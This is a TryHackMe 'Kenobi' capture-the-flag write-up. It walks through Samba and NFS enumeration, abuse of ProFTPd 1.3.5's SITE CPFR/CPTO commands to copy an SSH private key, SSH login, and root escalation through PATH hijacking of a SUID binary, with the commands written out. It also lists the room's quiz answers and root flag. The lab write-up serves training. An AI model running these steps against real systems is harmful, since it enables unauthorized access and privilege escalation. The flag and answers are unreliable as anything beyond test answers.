# THM | Kenobi

# **Kenobi**

* Enumerate Samba for shares, manipulate a vulnerable version of ProFTPd and escalate your privileges with path variable manipulation.
    

# **Task 1: Deploy the Vulnerable Machine**

* Scan the machine.
    

> *nmap -sC -sV 10.10.133.242*

![](https://miro.medium.com/v2/resize:fit:875/1*hrR8WoqxBg-CvahSZHJyjA.png align="left")

http://10.10.133.242

> *Q: Scan the machine with nmap, how many ports are open?*
> 
> ***A: 7***

![](https://miro.medium.com/v2/resize:fit:875/1*uKUCBHJuChPCreGPS4veUQ.png align="left")

/admin.html disallowed entry.

[http://10.10.133.242/admin.html](http://10.10.133.242/admin.html) — This should look familiar.

# **Task 2: Enumerating Samba for Shares**

**Samba Bg:**

* Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.
    
* Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.
    

![](https://miro.medium.com/v2/resize:fit:715/1*VSNN07il4bdh2zXIpTS6CQ.png align="left")

Port 139 and 445.

> *nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse 10.10.133.242*

![](https://miro.medium.com/v2/resize:fit:875/1*_MbNhgtRN-Woz4BFZnY-Sw.png align="left")

Enumerating Samba shares.

> *Q: Using the nmap command above, how many shares have been found?*
> 
> ***A: 3***

![](https://miro.medium.com/v2/resize:fit:875/1*pu3KM5sy0unQpQGzbVU31A.png align="left")

Failed attempt at fuzzing for outstanding directories.

* Connect to the machine’s network share.
    

> *smbclient //10.10.133.242/anonymous*

![](https://miro.medium.com/v2/resize:fit:875/1*1eHF4Hm6rqcOwzO0qzjHjQ.png align="left")

When asked for a password do not give up. Try pressing “Enter” :)

> *Q: Once you’re connected, list the files on the share. What is the file you can see?*
> 
> ***A: log.txt***

> *smbget -R smb://10.10.133.242/anonymous*

* Open the file on the share.
    
* View log.txt and find what port FTP is running on.
    

> *Q: What port is FTP running on?*
> 
> ***A: 21***

* Our earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.
    

> *nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.133.242*

![](https://miro.medium.com/v2/resize:fit:875/1*RqhGwoBg9hLF-A13auZ5_Q.png align="left")

Enumerating port 111 to access network file system and view mount point.

> *Q: What mount can we see?*
> 
> ***A: /var***

# **Task 3: Gain Initial Access with ProFTPd**

**ProFTPd Bg:**

* ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.
    
* Use Netcat to connect to the machine on the FTP port.
    

> *nc 10.10.133.242 21*

![](https://miro.medium.com/v2/resize:fit:875/1*R7RDkQm7njaeI9FJ6C4ljA.png align="left")

Running nc to glean information on ProFTPd’s version.

> *Q: What is the version?*
> 
> ***A: 1.3.5***

* Use Searchsploit to find exploits for proFTPd 1.3.5 version of software.
    

**Searchsploit Bg:**

* Searchsploit is a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. ([https://www.exploit-db.com/](https://www.exploit-db.com/)).
    

> *searchsploit proftpd 1.3.5*

![](https://miro.medium.com/v2/resize:fit:875/1*YLDjKm11tVxQ1sUjbc6LhA.png align="left")

Running Searchsploit.

> *Q: How many exploits are there for the ProFTPd running?*
> 
> ***A: 4***

* Copy Kenobi’s private key using SITE CPFR (Copy File From Remote) and SITE CPTO (Copy File To Remote) commands.
    

![](https://miro.medium.com/v2/resize:fit:875/1*iw0Wp9w2nf9IXIKq_GsRmA.png align="left")

Using SITE CPFR and SITE CPTO commands.

* We know that the /var directory was a mount we could see (when we used: nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.2.185) so we’ve now moved Kenobi’s private key to the /var/tmp directory.
    
* Now we can mount the /var/tmp directory to our machine.
    

> *mkdir /mnt/kenobiNFS  
> mount 10.10.2.185:/var /mnt/kenobiNFS  
> ls -la /mnt/kenobiNFS*

![](https://miro.medium.com/v2/resize:fit:875/1*DTOHKZ05zc977BZT-o2oiw.png align="left")

Mounting.

* Now that we have a network mount on our deployed machine, we can go to /var/tmp and get the private key and then login to Kenobi’s account.
    

> *cp /mnt/kenobiNFS/tmp/id\_rsa .  
> sudo chmod 600 id\_rsa  
> ssh -i id\_rsa kenobi@10.10.2.185*

![](https://miro.medium.com/v2/resize:fit:875/1*KxlporUL0B0KmsdpeHxMJw.png align="left")

Getting the Private Key and logging into Kenobi’s account.

# **Task 4: Privilege Escalation with Path Variable Manipulation**

* Understanding what SUID, SGID and Sticky Bits are:
    

![](https://miro.medium.com/v2/resize:fit:875/1*KAwgDXNDdHss8iNpfQ1NRQ.png align="left")

* Running the following to search the system for other custom files that could have the SUID bit.
    

> *find / -perm -u=s -type f 2>/dev/null*

![](https://miro.medium.com/v2/resize:fit:875/1*RclJ148uvJZfMTu6A2sARw.png align="left")

Locating path/binary.

> *Q: What file looks particularly out of the ordinary?*
> 
> ***A: /usr/bin/menu***

![](https://miro.medium.com/v2/resize:fit:875/1*1Wtd7QT_1cWflSrF7YfFkw.png align="left")

Running the binary.

> *Q: Run the binary, how many options appear?*
> 
> ***A: 3***

* Run the following:
    

> *strings /usr/bin/menu*

* This tells us that as the file runs with root user privileges, we can manipulate our path to gain a root shell.
    
* As this file runs as the root users privileges, we can manipulate our path to gain a root shell.
    

> *cd /tmp  
> echo /bin/sh > curl  
> chmod 777 curl  
> export PATH=/tmp:$PATH*

![](https://miro.medium.com/v2/resize:fit:875/1*zmoi1yWENgeQOBXqD0rgIA.png align="left")

Manipulating our path to gain a root shell.

![](https://miro.medium.com/v2/resize:fit:875/1*RxjXAU4VVZZ1VUaGAhfp7Q.png align="left")

Gaining root shell and discovering flag.

* We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary, which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!
    

> *Q: What is the root flag (/root/root.txt)?*
> 
> ***A: 177b3cd8562289f37382721c28381f02***

Congratulations!